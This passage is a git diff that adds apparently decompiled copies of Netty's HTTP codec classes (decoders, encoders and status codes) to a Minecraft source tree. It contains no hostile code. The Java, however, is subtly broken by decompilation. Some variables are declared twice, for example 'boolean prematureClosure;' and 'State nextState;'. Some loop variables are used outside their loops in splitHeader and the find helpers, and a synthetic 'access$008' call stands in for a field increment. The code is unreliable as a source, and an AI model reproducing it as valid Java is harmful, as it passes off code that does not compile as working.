+  protected void decodeLast(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    decode(ctx, in, out);
+    
+
+    if (message != null)
+    {
+      boolean prematureClosure;
+      boolean prematureClosure;
+      if (isDecodingRequest())
+      {
+        prematureClosure = true;
+
+      }
+      else
+      {
+        prematureClosure = contentLength() > 0L;
+      }
+      reset();
+      
+      if (!prematureClosure) {
+        out.add(LastHttpContent.EMPTY_LAST_CONTENT);
+      }
+    }
+  }
+  
+  protected boolean isContentAlwaysEmpty(HttpMessage msg) {
+    if ((msg instanceof HttpResponse)) {
+      HttpResponse res = (HttpResponse)msg;
+      int code = res.getStatus().code();
+      
+
+
+
+
+
+      if ((code >= 100) && (code < 200))
+      {
+        return (code != 101) || (res.headers().contains("Sec-WebSocket-Accept"));
+      }
+      
+      switch (code) {
+      case 204: case 205: case 304: 
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  private void reset() {
+    HttpMessage message = this.message;
+    this.message = null;
+    contentLength = Long.MIN_VALUE;
+    if (!isDecodingRequest()) {
+      HttpResponse res = (HttpResponse)message;
+      if ((res != null) && (res.getStatus().code() == 101)) {
+        checkpoint(State.UPGRADED);
+        return;
+      }
+    }
+    
+    checkpoint(State.SKIP_CONTROL_CHARS);
+  }
+  
+  private HttpMessage invalidMessage(Exception cause) {
+    checkpoint(State.BAD_MESSAGE);
+    if (message != null) {
+      message.setDecoderResult(DecoderResult.failure(cause));
+    } else {
+      message = createInvalidMessage();
+      message.setDecoderResult(DecoderResult.failure(cause));
+    }
+    
+    HttpMessage ret = message;
+    message = null;
+    return ret;
+  }
+  
+  private HttpContent invalidChunk(Exception cause) {
+    checkpoint(State.BAD_MESSAGE);
+    HttpContent chunk = new DefaultLastHttpContent(Unpooled.EMPTY_BUFFER);
+    chunk.setDecoderResult(DecoderResult.failure(cause));
+    message = null;
+    return chunk;
+  }
+  
+  private static void skipControlCharacters(ByteBuf buffer) {
+    for (;;) {
+      char c = (char)buffer.readUnsignedByte();
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c)))
+      {
+        buffer.readerIndex(buffer.readerIndex() - 1);
+        break;
+      }
+    }
+  }
+  
+  private State readHeaders(ByteBuf buffer) {
+    headerSize = 0;
+    HttpMessage message = this.message;
+    HttpHeaders headers = message.headers();
+    
+    AppendableCharSequence line = headerParser.parse(buffer);
+    String name = null;
+    String value = null;
+    if (line.length() > 0) {
+      headers.clear();
+      do {
+        char firstChar = line.charAt(0);
+        if ((name != null) && ((firstChar == ' ') || (firstChar == '\t'))) {
+          value = value + ' ' + line.toString().trim();
+        } else {
+          if (name != null) {
+            headers.add(name, value);
+          }
+          String[] header = splitHeader(line);
+          name = header[0];
+          value = header[1];
+        }
+        
+        line = headerParser.parse(buffer);
+      } while (line.length() > 0);
+      
+
+      if (name != null) {
+        headers.add(name, value);
+      }
+    }
+    
+    State nextState;
+    State nextState;
+    if (isContentAlwaysEmpty(message)) {
+      HttpHeaders.removeTransferEncodingChunked(message);
+      nextState = State.SKIP_CONTROL_CHARS; } else { State nextState;
+      if (HttpHeaders.isTransferEncodingChunked(message)) {
+        nextState = State.READ_CHUNK_SIZE; } else { State nextState;
+        if (contentLength() >= 0L) {
+          nextState = State.READ_FIXED_LENGTH_CONTENT;
+        } else
+          nextState = State.READ_VARIABLE_LENGTH_CONTENT;
+      } }
+    return nextState;
+  }
+  
+  private long contentLength() {
+    if (contentLength == Long.MIN_VALUE) {
+      contentLength = HttpHeaders.getContentLength(message, -1L);
+    }
+    return contentLength;
+  }
+  
+  private LastHttpContent readTrailingHeaders(ByteBuf buffer) {
+    headerSize = 0;
+    AppendableCharSequence line = headerParser.parse(buffer);
+    String lastHeader = null;
+    if (line.length() > 0) {
+      LastHttpContent trailer = new DefaultLastHttpContent(Unpooled.EMPTY_BUFFER, validateHeaders);
+      do {
+        char firstChar = line.charAt(0);
+        if ((lastHeader != null) && ((firstChar == ' ') || (firstChar == '\t'))) {
+          List<String> current = trailer.trailingHeaders().getAll(lastHeader);
+          if (!current.isEmpty()) {
+            int lastPos = current.size() - 1;
+            String newString = (String)current.get(lastPos) + line.toString().trim();
+            current.set(lastPos, newString);
+          }
+        }
+        else
+        {
+          String[] header = splitHeader(line);
+          String name = header[0];
+          if ((!HttpHeaders.equalsIgnoreCase(name, "Content-Length")) && (!HttpHeaders.equalsIgnoreCase(name, "Transfer-Encoding")) && (!HttpHeaders.equalsIgnoreCase(name, "Trailer")))
+          {
+
+            trailer.trailingHeaders().add(name, header[1]);
+          }
+          lastHeader = name;
+        }
+        
+        line = headerParser.parse(buffer);
+      } while (line.length() > 0);
+      
+      return trailer;
+    }
+    
+    return LastHttpContent.EMPTY_LAST_CONTENT; }
+  
+  protected abstract boolean isDecodingRequest();
+  
+  protected abstract HttpMessage createMessage(String[] paramArrayOfString) throws Exception;
+  
+  protected abstract HttpMessage createInvalidMessage();
+  
+  private static int getChunkSize(String hex) { hex = hex.trim();
+    for (int i = 0; i < hex.length(); i++) {
+      char c = hex.charAt(i);
+      if ((c == ';') || (Character.isWhitespace(c)) || (Character.isISOControl(c))) {
+        hex = hex.substring(0, i);
+        break;
+      }
+    }
+    
+    return Integer.parseInt(hex, 16);
+  }
+  
+
+
+
+
+
+
+  private static String[] splitInitialLine(AppendableCharSequence sb)
+  {
+    int aStart = findNonWhitespace(sb, 0);
+    int aEnd = findWhitespace(sb, aStart);
+    
+    int bStart = findNonWhitespace(sb, aEnd);
+    int bEnd = findWhitespace(sb, bStart);
+    
+    int cStart = findNonWhitespace(sb, bEnd);
+    int cEnd = findEndOfString(sb);
+    
+    return new String[] { sb.substring(aStart, aEnd), sb.substring(bStart, bEnd), cStart < cEnd ? sb.substring(cStart, cEnd) : "" };
+  }
+  
+
+
+  private static String[] splitHeader(AppendableCharSequence sb)
+  {
+    int length = sb.length();
+    
+
+
+
+
+
+    int nameStart = findNonWhitespace(sb, 0);
+    for (int nameEnd = nameStart; nameEnd < length; nameEnd++) {
+      char ch = sb.charAt(nameEnd);
+      if ((ch == ':') || (Character.isWhitespace(ch))) {
+        break;
+      }
+    }
+    
+    for (int colonEnd = nameEnd; colonEnd < length; colonEnd++) {
+      if (sb.charAt(colonEnd) == ':') {
+        colonEnd++;
+        break;
+      }
+    }
+    
+    int valueStart = findNonWhitespace(sb, colonEnd);
+    if (valueStart == length) {
+      return new String[] { sb.substring(nameStart, nameEnd), "" };
+    }
+    
+
+
+
+    int valueEnd = findEndOfString(sb);
+    return new String[] { sb.substring(nameStart, nameEnd), sb.substring(valueStart, valueEnd) };
+  }
+  
+
+
+
+  private static int findNonWhitespace(CharSequence sb, int offset)
+  {
+    for (int result = offset; result < sb.length(); result++) {
+      if (!Character.isWhitespace(sb.charAt(result))) {
+        break;
+      }
+    }
+    return result;
+  }
+  
+  private static int findWhitespace(CharSequence sb, int offset)
+  {
+    for (int result = offset; result < sb.length(); result++) {
+      if (Character.isWhitespace(sb.charAt(result))) {
+        break;
+      }
+    }
+    return result;
+  }
+  
+  private static int findEndOfString(CharSequence sb)
+  {
+    for (int result = sb.length(); result > 0; result--) {
+      if (!Character.isWhitespace(sb.charAt(result - 1))) {
+        break;
+      }
+    }
+    return result;
+  }
+  
+  private final class HeaderParser implements ByteBufProcessor {
+    private final AppendableCharSequence seq;
+    
+    HeaderParser(AppendableCharSequence seq) {
+      this.seq = seq;
+    }
+    
+    public AppendableCharSequence parse(ByteBuf buffer) {
+      seq.reset();
+      headerSize = 0;
+      int i = buffer.forEachByte(this);
+      buffer.readerIndex(i + 1);
+      return seq;
+    }
+    
+    public boolean process(byte value) throws Exception
+    {
+      char nextByte = (char)value;
+      HttpObjectDecoder.access$008(HttpObjectDecoder.this);
+      if (nextByte == '\r') {
+        return true;
+      }
+      if (nextByte == '\n') {
+        return false;
+      }
+      
+
+      if (headerSize >= maxHeaderSize)
+      {
+
+
+
+        throw new TooLongFrameException("HTTP header is larger than " + maxHeaderSize + " bytes.");
+      }
+      
+
+
+      seq.append(nextByte);
+      return true;
+    }
+  }
+  
+  private final class LineParser implements ByteBufProcessor {
+    private final AppendableCharSequence seq;
+    private int size;
+    
+    LineParser(AppendableCharSequence seq) {
+      this.seq = seq;
+    }
+    
+    public AppendableCharSequence parse(ByteBuf buffer) {
+      seq.reset();
+      size = 0;
+      int i = buffer.forEachByte(this);
+      buffer.readerIndex(i + 1);
+      return seq;
+    }
+    
+    public boolean process(byte value) throws Exception
+    {
+      char nextByte = (char)value;
+      if (nextByte == '\r')
+        return true;
+      if (nextByte == '\n') {
+        return false;
+      }
+      if (size >= maxInitialLineLength)
+      {
+
+
+
+        throw new TooLongFrameException("An HTTP line is larger than " + maxInitialLineLength + " bytes.");
+      }
+      
+
+      size += 1;
+      seq.append(nextByte);
+      return true;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpObjectEncoder.java b/src/minecraft/io/netty/handler/codec/http/HttpObjectEncoder.java
new file mode 100644
index 0000000..05a31d1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpObjectEncoder.java
@@ -0,0 +1,193 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.FileRegion;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class HttpObjectEncoder<H extends HttpMessage>
+  extends MessageToMessageEncoder<Object>
+{
+  private static final byte[] CRLF = { 13, 10 };
+  private static final byte[] ZERO_CRLF = { 48, 13, 10 };
+  private static final byte[] ZERO_CRLF_CRLF = { 48, 13, 10, 13, 10 };
+  private static final ByteBuf CRLF_BUF = Unpooled.unreleasableBuffer(Unpooled.directBuffer(CRLF.length).writeBytes(CRLF));
+  private static final ByteBuf ZERO_CRLF_CRLF_BUF = Unpooled.unreleasableBuffer(Unpooled.directBuffer(ZERO_CRLF_CRLF.length).writeBytes(ZERO_CRLF_CRLF));
+  
+  private static final int ST_INIT = 0;
+  
+  private static final int ST_CONTENT_NON_CHUNK = 1;
+  
+  private static final int ST_CONTENT_CHUNK = 2;
+  private int state = 0;
+  
+  public HttpObjectEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, Object msg, List<Object> out) throws Exception {
+    ByteBuf buf = null;
+    if ((msg instanceof HttpMessage)) {
+      if (state != 0) {
+        throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+      }
+      
+
+      H m = (HttpMessage)msg;
+      
+      buf = ctx.alloc().buffer();
+      
+      encodeInitialLine(buf, m);
+      HttpHeaders.encode(m.headers(), buf);
+      buf.writeBytes(CRLF);
+      state = (HttpHeaders.isTransferEncodingChunked(m) ? 2 : 1);
+    }
+    if (((msg instanceof HttpContent)) || ((msg instanceof ByteBuf)) || ((msg instanceof FileRegion))) {
+      if (state == 0) {
+        throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+      }
+      
+      long contentLength = contentLength(msg);
+      if (state == 1) {
+        if (contentLength > 0L) {
+          if ((buf != null) && (buf.writableBytes() >= contentLength) && ((msg instanceof HttpContent)))
+          {
+            buf.writeBytes(((HttpContent)msg).content());
+            out.add(buf);
+          } else {
+            if (buf != null) {
+              out.add(buf);
+            }
+            out.add(encodeAndRetain(msg));
+          }
+        }
+        else if (buf != null) {
+          out.add(buf);
+        }
+        else
+        {
+          out.add(Unpooled.EMPTY_BUFFER);
+        }
+        
+
+        if ((msg instanceof LastHttpContent)) {
+          state = 0;
+        }
+      } else if (state == 2) {
+        if (buf != null) {
+          out.add(buf);
+        }
+        encodeChunkedContent(ctx, msg, contentLength, out);
+      } else {
+        throw new Error();
+      }
+    }
+    else if (buf != null) {
+      out.add(buf);
+    }
+  }
+  
+  private void encodeChunkedContent(ChannelHandlerContext ctx, Object msg, long contentLength, List<Object> out)
+  {
+    if (contentLength > 0L) {
+      byte[] length = Long.toHexString(contentLength).getBytes(CharsetUtil.US_ASCII);
+      ByteBuf buf = ctx.alloc().buffer(length.length + 2);
+      buf.writeBytes(length);
+      buf.writeBytes(CRLF);
+      out.add(buf);
+      out.add(encodeAndRetain(msg));
+      out.add(CRLF_BUF.duplicate());
+    }
+    
+    if ((msg instanceof LastHttpContent)) {
+      HttpHeaders headers = ((LastHttpContent)msg).trailingHeaders();
+      if (headers.isEmpty()) {
+        out.add(ZERO_CRLF_CRLF_BUF.duplicate());
+      } else {
+        ByteBuf buf = ctx.alloc().buffer();
+        buf.writeBytes(ZERO_CRLF);
+        HttpHeaders.encode(headers, buf);
+        buf.writeBytes(CRLF);
+        out.add(buf);
+      }
+      
+      state = 0;
+    }
+    else if (contentLength == 0L)
+    {
+
+      out.add(Unpooled.EMPTY_BUFFER);
+    }
+  }
+  
+  public boolean acceptOutboundMessage(Object msg)
+    throws Exception
+  {
+    return ((msg instanceof HttpObject)) || ((msg instanceof ByteBuf)) || ((msg instanceof FileRegion));
+  }
+  
+  private static Object encodeAndRetain(Object msg) {
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).retain();
+    }
+    if ((msg instanceof HttpContent)) {
+      return ((HttpContent)msg).content().retain();
+    }
+    if ((msg instanceof FileRegion)) {
+      return ((FileRegion)msg).retain();
+    }
+    throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+  }
+  
+  private static long contentLength(Object msg) {
+    if ((msg instanceof HttpContent)) {
+      return ((HttpContent)msg).content().readableBytes();
+    }
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).readableBytes();
+    }
+    if ((msg instanceof FileRegion)) {
+      return ((FileRegion)msg).count();
+    }
+    throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+  }
+  
+  @Deprecated
+  protected static void encodeAscii(String s, ByteBuf buf) {
+    HttpHeaders.encodeAscii0(s, buf);
+  }
+  
+  protected abstract void encodeInitialLine(ByteBuf paramByteBuf, H paramH)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpRequest.java b/src/minecraft/io/netty/handler/codec/http/HttpRequest.java
new file mode 100644
index 0000000..e0be5ce
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpRequest.java
@@ -0,0 +1,15 @@
+package io.netty.handler.codec.http;
+
+public abstract interface HttpRequest
+  extends HttpMessage
+{
+  public abstract HttpMethod getMethod();
+  
+  public abstract HttpRequest setMethod(HttpMethod paramHttpMethod);
+  
+  public abstract String getUri();
+  
+  public abstract HttpRequest setUri(String paramString);
+  
+  public abstract HttpRequest setProtocolVersion(HttpVersion paramHttpVersion);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpRequestDecoder.java b/src/minecraft/io/netty/handler/codec/http/HttpRequestDecoder.java
new file mode 100644
index 0000000..fb9cfe6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpRequestDecoder.java
@@ -0,0 +1,94 @@
+package io.netty.handler.codec.http;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpRequestDecoder
+  extends HttpObjectDecoder
+{
+  public HttpRequestDecoder() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpRequestDecoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxChunkSize, true);
+  }
+  
+  public HttpRequestDecoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean validateHeaders)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxChunkSize, true, validateHeaders);
+  }
+  
+  protected HttpMessage createMessage(String[] initialLine) throws Exception
+  {
+    return new DefaultHttpRequest(HttpVersion.valueOf(initialLine[2]), HttpMethod.valueOf(initialLine[0]), initialLine[1], validateHeaders);
+  }
+  
+
+
+  protected HttpMessage createInvalidMessage()
+  {
+    return new DefaultHttpRequest(HttpVersion.HTTP_1_0, HttpMethod.GET, "/bad-request", validateHeaders);
+  }
+  
+  protected boolean isDecodingRequest()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpRequestEncoder.java b/src/minecraft/io/netty/handler/codec/http/HttpRequestEncoder.java
new file mode 100644
index 0000000..485eeab
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpRequestEncoder.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpRequestEncoder
+  extends HttpObjectEncoder<HttpRequest>
+{
+  private static final char SLASH = '/';
+  private static final char QUESTION_MARK = '?';
+  private static final byte[] CRLF = { 13, 10 };
+  
+  public HttpRequestEncoder() {}
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception { return (super.acceptOutboundMessage(msg)) && (!(msg instanceof HttpResponse)); }
+  
+  protected void encodeInitialLine(ByteBuf buf, HttpRequest request)
+    throws Exception
+  {
+    request.getMethod().encode(buf);
+    buf.writeByte(32);
+    
+
+
+    String uri = request.getUri();
+    
+    if (uri.length() == 0) {
+      uri = uri + '/';
+    } else {
+      int start = uri.indexOf("://");
+      if ((start != -1) && (uri.charAt(0) != '/')) {
+        int startIndex = start + 3;
+        
+
+        int index = uri.indexOf('?', startIndex);
+        if (index == -1) {
+          if (uri.lastIndexOf('/') <= startIndex) {
+            uri = uri + '/';
+          }
+        }
+        else if (uri.lastIndexOf('/', index) <= startIndex) {
+          int len = uri.length();
+          StringBuilder sb = new StringBuilder(len + 1);
+          sb.append(uri, 0, index);
+          sb.append('/');
+          sb.append(uri, index, len);
+          uri = sb.toString();
+        }
+      }
+    }
+    
+
+    buf.writeBytes(uri.getBytes(CharsetUtil.UTF_8));
+    
+    buf.writeByte(32);
+    request.getProtocolVersion().encode(buf);
+    buf.writeBytes(CRLF);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpResponse.java b/src/minecraft/io/netty/handler/codec/http/HttpResponse.java
new file mode 100644
index 0000000..371bbfb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpResponse.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.http;
+
+public abstract interface HttpResponse
+  extends HttpMessage
+{
+  public abstract HttpResponseStatus getStatus();
+  
+  public abstract HttpResponse setStatus(HttpResponseStatus paramHttpResponseStatus);
+  
+  public abstract HttpResponse setProtocolVersion(HttpVersion paramHttpVersion);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpResponseDecoder.java b/src/minecraft/io/netty/handler/codec/http/HttpResponseDecoder.java
new file mode 100644
index 0000000..96c6ef6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpResponseDecoder.java
@@ -0,0 +1,125 @@
+package io.netty.handler.codec.http;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpResponseDecoder
+  extends HttpObjectDecoder
+{
+  private static final HttpResponseStatus UNKNOWN_STATUS = new HttpResponseStatus(999, "Unknown");
+  
+
+
+
+
+
+  public HttpResponseDecoder() {}
+  
+
+
+
+
+  public HttpResponseDecoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxChunkSize, true);
+  }
+  
+  public HttpResponseDecoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean validateHeaders)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxChunkSize, true, validateHeaders);
+  }
+  
+  protected HttpMessage createMessage(String[] initialLine)
+  {
+    return new DefaultHttpResponse(HttpVersion.valueOf(initialLine[0]), new HttpResponseStatus(Integer.parseInt(initialLine[1]), initialLine[2]), validateHeaders);
+  }
+  
+
+
+  protected HttpMessage createInvalidMessage()
+  {
+    return new DefaultHttpResponse(HttpVersion.HTTP_1_0, UNKNOWN_STATUS, validateHeaders);
+  }
+  
+  protected boolean isDecodingRequest()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpResponseEncoder.java b/src/minecraft/io/netty/handler/codec/http/HttpResponseEncoder.java
new file mode 100644
index 0000000..0a79f77
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpResponseEncoder.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpResponseEncoder
+  extends HttpObjectEncoder<HttpResponse>
+{
+  private static final byte[] CRLF = { 13, 10 };
+  
+  public HttpResponseEncoder() {}
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception { return (super.acceptOutboundMessage(msg)) && (!(msg instanceof HttpRequest)); }
+  
+  protected void encodeInitialLine(ByteBuf buf, HttpResponse response)
+    throws Exception
+  {
+    response.getProtocolVersion().encode(buf);
+    buf.writeByte(32);
+    response.getStatus().encode(buf);
+    buf.writeBytes(CRLF);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpResponseStatus.java b/src/minecraft/io/netty/handler/codec/http/HttpResponseStatus.java
new file mode 100644
index 0000000..deaa5b6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpResponseStatus.java
@@ -0,0 +1,560 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpResponseStatus
+  implements Comparable<HttpResponseStatus>
+{
+  public static final HttpResponseStatus CONTINUE = new HttpResponseStatus(100, "Continue", true);
+  
+
+
+
+  public static final HttpResponseStatus SWITCHING_PROTOCOLS = new HttpResponseStatus(101, "Switching Protocols", true);
+  
+
+
+
+
+  public static final HttpResponseStatus PROCESSING = new HttpResponseStatus(102, "Processing", true);
+  
+
+
+
+  public static final HttpResponseStatus OK = new HttpResponseStatus(200, "OK", true);
+  
+
+
+
+  public static final HttpResponseStatus CREATED = new HttpResponseStatus(201, "Created", true);
+  
+
+
+
+  public static final HttpResponseStatus ACCEPTED = new HttpResponseStatus(202, "Accepted", true);
+  
+
+
+
+  public static final HttpResponseStatus NON_AUTHORITATIVE_INFORMATION = new HttpResponseStatus(203, "Non-Authoritative Information", true);
+  
+
+
+
+
+  public static final HttpResponseStatus NO_CONTENT = new HttpResponseStatus(204, "No Content", true);
+  
+
+
+
+  public static final HttpResponseStatus RESET_CONTENT = new HttpResponseStatus(205, "Reset Content", true);
+  
+
+
+
+  public static final HttpResponseStatus PARTIAL_CONTENT = new HttpResponseStatus(206, "Partial Content", true);
+  
+
+
+
+  public static final HttpResponseStatus MULTI_STATUS = new HttpResponseStatus(207, "Multi-Status", true);
+  
+
+
+
+  public static final HttpResponseStatus MULTIPLE_CHOICES = new HttpResponseStatus(300, "Multiple Choices", true);
+  
+
+
+
+  public static final HttpResponseStatus MOVED_PERMANENTLY = new HttpResponseStatus(301, "Moved Permanently", true);
+  
+
+
+
+  public static final HttpResponseStatus FOUND = new HttpResponseStatus(302, "Found", true);
+  
+
+
+
+  public static final HttpResponseStatus SEE_OTHER = new HttpResponseStatus(303, "See Other", true);
+  
+
+
+
+  public static final HttpResponseStatus NOT_MODIFIED = new HttpResponseStatus(304, "Not Modified", true);
+  
+
+
+
+  public static final HttpResponseStatus USE_PROXY = new HttpResponseStatus(305, "Use Proxy", true);
+  
+
+
+
+  public static final HttpResponseStatus TEMPORARY_REDIRECT = new HttpResponseStatus(307, "Temporary Redirect", true);
+  
+
+
+
+  public static final HttpResponseStatus BAD_REQUEST = new HttpResponseStatus(400, "Bad Request", true);
+  
+
+
+
+  public static final HttpResponseStatus UNAUTHORIZED = new HttpResponseStatus(401, "Unauthorized", true);
+  
+
+
+
+  public static final HttpResponseStatus PAYMENT_REQUIRED = new HttpResponseStatus(402, "Payment Required", true);
+  
+
+
+
+  public static final HttpResponseStatus FORBIDDEN = new HttpResponseStatus(403, "Forbidden", true);
+  
+
+
+
+  public static final HttpResponseStatus NOT_FOUND = new HttpResponseStatus(404, "Not Found", true);
+  
+
+
+
+  public static final HttpResponseStatus METHOD_NOT_ALLOWED = new HttpResponseStatus(405, "Method Not Allowed", true);
+  
+
+
+
+  public static final HttpResponseStatus NOT_ACCEPTABLE = new HttpResponseStatus(406, "Not Acceptable", true);
+  
+
+
+
+  public static final HttpResponseStatus PROXY_AUTHENTICATION_REQUIRED = new HttpResponseStatus(407, "Proxy Authentication Required", true);
+  
+
+
+
+
+  public static final HttpResponseStatus REQUEST_TIMEOUT = new HttpResponseStatus(408, "Request Timeout", true);
+  
+
+
+
+  public static final HttpResponseStatus CONFLICT = new HttpResponseStatus(409, "Conflict", true);
+  
+
+
+
+  public static final HttpResponseStatus GONE = new HttpResponseStatus(410, "Gone", true);
+  
+
+
+
+  public static final HttpResponseStatus LENGTH_REQUIRED = new HttpResponseStatus(411, "Length Required", true);
+  
+
+
+
+  public static final HttpResponseStatus PRECONDITION_FAILED = new HttpResponseStatus(412, "Precondition Failed", true);
+  
+
+
+
+
+  public static final HttpResponseStatus REQUEST_ENTITY_TOO_LARGE = new HttpResponseStatus(413, "Request Entity Too Large", true);
+  
+
+
+
+
+  public static final HttpResponseStatus REQUEST_URI_TOO_LONG = new HttpResponseStatus(414, "Request-URI Too Long", true);
+  
+
+
+
+
+  public static final HttpResponseStatus UNSUPPORTED_MEDIA_TYPE = new HttpResponseStatus(415, "Unsupported Media Type", true);
+  
+
+
+
+
+  public static final HttpResponseStatus REQUESTED_RANGE_NOT_SATISFIABLE = new HttpResponseStatus(416, "Requested Range Not Satisfiable", true);
+  
+
+
+
+
+  public static final HttpResponseStatus EXPECTATION_FAILED = new HttpResponseStatus(417, "Expectation Failed", true);
+  
+
+
+
+
+  public static final HttpResponseStatus UNPROCESSABLE_ENTITY = new HttpResponseStatus(422, "Unprocessable Entity", true);
+  
+
+
+
+
+  public static final HttpResponseStatus LOCKED = new HttpResponseStatus(423, "Locked", true);
+  
+
+
+
+
+  public static final HttpResponseStatus FAILED_DEPENDENCY = new HttpResponseStatus(424, "Failed Dependency", true);
+  
+
+
+
+  public static final HttpResponseStatus UNORDERED_COLLECTION = new HttpResponseStatus(425, "Unordered Collection", true);
+  
+
+
+
+
+  public static final HttpResponseStatus UPGRADE_REQUIRED = new HttpResponseStatus(426, "Upgrade Required", true);
+  
+
+
+
+  public static final HttpResponseStatus PRECONDITION_REQUIRED = new HttpResponseStatus(428, "Precondition Required", true);
+  
+
+
+
+
+  public static final HttpResponseStatus TOO_MANY_REQUESTS = new HttpResponseStatus(429, "Too Many Requests", true);
+  
+
+
+
+  public static final HttpResponseStatus REQUEST_HEADER_FIELDS_TOO_LARGE = new HttpResponseStatus(431, "Request Header Fields Too Large", true);
+  
+
+
+
+
+  public static final HttpResponseStatus INTERNAL_SERVER_ERROR = new HttpResponseStatus(500, "Internal Server Error", true);
+  
+
+
+
+
+  public static final HttpResponseStatus NOT_IMPLEMENTED = new HttpResponseStatus(501, "Not Implemented", true);
+  
+
+
+
+  public static final HttpResponseStatus BAD_GATEWAY = new HttpResponseStatus(502, "Bad Gateway", true);
+  
+
+
+
+  public static final HttpResponseStatus SERVICE_UNAVAILABLE = new HttpResponseStatus(503, "Service Unavailable", true);
+  
+
+
+
+
+  public static final HttpResponseStatus GATEWAY_TIMEOUT = new HttpResponseStatus(504, "Gateway Timeout", true);
+  
+
+
+
+  public static final HttpResponseStatus HTTP_VERSION_NOT_SUPPORTED = new HttpResponseStatus(505, "HTTP Version Not Supported", true);
+  
+
+
+
+
+  public static final HttpResponseStatus VARIANT_ALSO_NEGOTIATES = new HttpResponseStatus(506, "Variant Also Negotiates", true);
+  
+
+
+
+
+  public static final HttpResponseStatus INSUFFICIENT_STORAGE = new HttpResponseStatus(507, "Insufficient Storage", true);
+  
+
+
+
+
+  public static final HttpResponseStatus NOT_EXTENDED = new HttpResponseStatus(510, "Not Extended", true);
+  
+
+
+
+  public static final HttpResponseStatus NETWORK_AUTHENTICATION_REQUIRED = new HttpResponseStatus(511, "Network Authentication Required", true);
+  
+  private final int code;
+  
+  private final String reasonPhrase;
+  private final byte[] bytes;
+  
+  public static HttpResponseStatus valueOf(int code)
+  {
+    switch (code) {
+    case 100: 
+      return CONTINUE;
+    case 101: 
+      return SWITCHING_PROTOCOLS;
+    case 102: 
+      return PROCESSING;
+    case 200: 
+      return OK;
+    case 201: 
+      return CREATED;
+    case 202: 
+      return ACCEPTED;
+    case 203: 
+      return NON_AUTHORITATIVE_INFORMATION;
+    case 204: 
+      return NO_CONTENT;
+    case 205: 
+      return RESET_CONTENT;
+    case 206: 
+      return PARTIAL_CONTENT;
+    case 207: 
+      return MULTI_STATUS;
+    case 300: 
+      return MULTIPLE_CHOICES;
+    case 301: 
+      return MOVED_PERMANENTLY;
+    case 302: 
+      return FOUND;
+    case 303: 
+      return SEE_OTHER;
+    case 304: 
+      return NOT_MODIFIED;
+    case 305: 
+      return USE_PROXY;
+    case 307: 
+      return TEMPORARY_REDIRECT;
+    case 400: 
